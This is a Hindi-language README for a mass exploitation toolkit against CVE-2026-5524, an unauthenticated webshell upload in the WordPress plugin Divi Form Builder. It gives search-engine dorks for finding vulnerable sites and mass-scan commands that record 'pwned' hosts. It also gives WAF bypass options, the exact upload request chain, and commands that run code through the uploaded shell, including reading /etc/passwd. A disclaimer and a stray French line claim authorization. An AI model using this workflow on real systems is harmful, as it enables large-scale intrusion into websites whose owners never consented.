CVE-2026-5524 — Divi Form Builder अनधिकृत RCE

CVE-2026-5524 के लिए मास एक्सप्लॉइट टूलकिट, जो WordPress प्लगइन Divi Form Builder <= 5.1.8 में एक अनधिकृत मनमाना फ़ाइल अपलोड भेद्यता है जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाती है।

Contents

• Description
• Dorks
• Installation
• Usage
  • Single target
  • Mass exploit
  • Advanced bypass
  • Command execution
• Vulnerability details
• Bypass techniques
• Tech stack
• Project structure
• Attack flow
• Disclaimer

Description

WordPress के लिए Divi Form Builder प्लगइन में एक अनधिकृत मनमाना फ़ाइल अपलोड भेद्यता है। do_image_upload() हैंडलर उपयोगकर्ता-नियंत्रित acceptFileTypes POST पैरामीटर को सीधे फ़ाइल एक्सटेंशन को मान्य करने के लिए उपयोग किए जाने वाले रेगुलर एक्सप्रेशन में पास करता है। phtml जैसा मान प्रदान करके, एक हमलावर प्लगइन के .htaccess नियम को बायपास कर सकता है जो केवल .php एक्सटेंशन को ब्लॉक करता है और PHP-निष्पादन योग्य एक्सटेंशन (.phtml, .phar, .php5, .php7, और समान) के साथ एक वेबशेल अपलोड कर सकता है।

एक बार फ़ाइल /wp-content/uploads/de_fb_uploads/ में पहुँच जाने के बाद, Apache इसे PHP के रूप में निष्पादित करता है, जिससे हमलावर को वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड एक्ज़ीक्यूशन प्राप्त होता है।

यह समस्या Divi Form Builder 5.1.9 में ठीक कर दी गई है।

Dorks

FOFA

body="de_fb_obj" && body="fb_nonce"

Shodan

http.html:"de_fb_obj" http.html:"fb_nonce"

Google

inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

app:"WordPress" && body:"de_fb_obj"

Censys

services.http.response.body: "de_fb_obj"

Installation

आवश्यकताएँ: Linux, macOS, या WSL पर Python 3.8 या नया।

git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

Usage

Single target

python3 CVE-2026-5524.py -u https://target.com

Mass exploit

python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Advanced bypass

WAF (NinjaFirewall, Wordfence, ModSecurity) के पीछे या कठोर Apache या nginx कॉन्फ़िगरेशन वाले लक्ष्यों के लिए।

python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Command execution

सफल अपलोड के बाद, स्क्रिप्ट तुरंत एक कमांड निष्पादित कर सकती है या इंटरैक्टिव शेल में प्रवेश कर सकती है।

python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Flags

Vulnerability details

Vulnerable code

भेद्य हैंडलर बिना सैनिटाइज़ेशन के उपयोगकर्ता इनपुट से एक regex बनाता है।

public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

acceptFileTypes=phtml भेजकर, परिणामी regex /\.(phtml)$/i .phtml में समाप्त होने वाले फ़ाइलनामों से मेल खाता है, भले ही प्लगइन की अपनी .htaccess फ़ाइल केवल .php एक्सटेंशन को ब्लॉक करती है। Apache तब अपलोड की गई फ़ाइल को PHP के रूप में निष्पादित करता है, जिससे रिमोट कोड एक्ज़ीक्यूशन उत्पन्न होता है।

Confirmed attack chain

1. उस पृष्ठ को क्रॉल करें जिसमें Divi Form Builder फ़ॉर्म एम्बेड है (/, /contact, /quote, आदि)। Varnish, WP Rocket, और अन्य पृष्ठ कैश को हराने के लिए ?nocache=<random> पैरामीटर जोड़ें जो अन्यथा एक पुराना nonce प्रदान करेंगे।

2. स्थानीयकृत JavaScript ऑब्जेक्ट से fb_nonce मान निकालें:

   root@kitploit:~

   de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
   

3. /wp-admin/admin-ajax.php पर एक multipart फ़ॉर्म POST करें:

   root@kitploit:~

   action=de_fb_image_upload
   fb_nonce=<nonce>
   acceptFileTypes=phtml
   [email protected]
   

4. JSON प्रतिक्रिया से फ़ाइल URL पढ़ें:

   root@kitploit:~

   {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
   

5. base64 एन्कोडेड कमांड के साथ शेल का अनुरोध करें:

   root@kitploit:~

   curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
   

Bypass techniques

स्क्रिप्ट प्रत्येक तकनीक को प्राथमिकता क्रम में आज़माती है और, जब --aggressive सेट होता है, तो पहले अपलोड के सफलता की रिपोर्ट के बाद भी प्रत्येक को आज़माती है।

Tech stack

Exploit script

Custom shell (bypass.phtml)

Project structure

cve-2026-5524/
|-- CVE-2026-5524.py          Main exploit script
|-- bypass.phtml              16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml     Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml            Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt               Example target list
|-- pwned.jsonl               Generated by the -o flag during mass scans
|-- requirements.txt          Python dependencies
`-- README.md                 This document

Attack flow

+--------------------------------------------------+
| 1. Recon                                         |
|    GET /?nocache=<random>                        |
|    Parse fb_nonce from de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Craft exploit                                 |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Server accepts and stores file                |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Execute                                       |
|    GET shell.phtml?x=base64(command)             |
|    Remote code execution achieved                |
+--------------------------------------------------+

Disclaimer

यह टूल शैक्षिक उद्देश्यों के लिए और अधिकृत पेनेट्रेशन टेस्टिंग एंगेजमेंट के दौरान उपयोग के लिए प्रदान किया गया है। स्वीकार्य उपयोग के उदाहरणों में शामिल हैं:

• बग बाउंटी कार्यक्रम जो स्पष्ट रूप से लक्ष्य के परीक्षण को अधिकृत करते हैं
• कैप्चर द फ्लैग प्रतियोगिताएँ और समर्पित लैब वातावरण
• परिसंपत्ति स्वामी से लिखित अनुमति के साथ आंतरिक सुरक्षा आकलन
• नियंत्रित सेटिंग में आयोजित शैक्षणिक सुरक्षा अनुसंधान

उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, लगभग हर क्षेत्राधिकार में अवैध है और सख्ती से निषिद्ध है। लेखक इस कोड के दुरुपयोग का समर्थन नहीं करता और न ही इसकी जिम्मेदारी लेता है।

J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)

संभावित प्रासंगिक कानूनों में इंडोनेशिया का UU ITE, संयुक्त राज्य अमेरिका का Computer Fraud and Abuse Act, यूरोपीय संघ Cybercrime Convention, और अन्यत्र समकक्ष कानून शामिल हैं। संदेह होने पर, पहले लिखित प्राधिकरण प्राप्त करें।

License

केवल शैक्षिक उपयोग। उपयोग की पूरी शर्तों के लिए disclaimer अनुभाग देखें।